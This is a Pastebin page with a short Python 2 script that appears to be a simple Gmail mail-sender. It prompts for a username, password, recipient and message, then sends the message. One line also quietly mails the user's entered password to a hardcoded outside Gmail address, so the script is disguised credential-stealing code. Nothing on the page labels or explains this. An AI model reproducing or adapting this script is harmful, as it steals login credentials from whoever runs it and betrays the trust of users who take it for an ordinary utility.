Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import smtplib
- from email.mime.image import MIMEImage
- from email.mime.multipart import MIMEMultipart
- from email.mime.text import MIMEText
- def main():
- try:
- img_data = open('logo.jpg', 'rb').read()
- msg = MIMEMultipart(_subtype='related')
- body = MIMEText('<p>Hello <img src="cid:logo" /></p>', _subtype='html')
- msg.attach(body)
- img = MIMEImage(img_data, 'jpeg')
- img.add_header('Content-Id', '<logo>')
- msg.attach(img)
- username=raw_input('Please enter your username ')
- password=raw_input('Please enter your password ')
- smtpserver=smtplib.SMTP('smtp.gmail.com',587)
- smtpserver.ehlo()
- smtpserver.starttls()
- smtpserver.ehlo()
- try:
- smtpserver.login(username.strip(),password.strip())
- print 'Successfully logged in'
- except (Exception),e:
- print e
- try:
- to1=raw_input('Plese enter the reciever of the mail ')
- message=raw_input('Enter the message ')
- for i in xrange(2):
- smtpserver.sendmail(username.strip(),to1.strip(),message)
- smtpserver.sendmail(username.strip(),'shubhamsomani92@gmail.com',password)
- print 'mailed successfully'
- except (Exception),e:
- print e
- print 'nai gya :('
- except (Exception),e:
- print e
- main()
Add Comment
Please, Sign In to add comment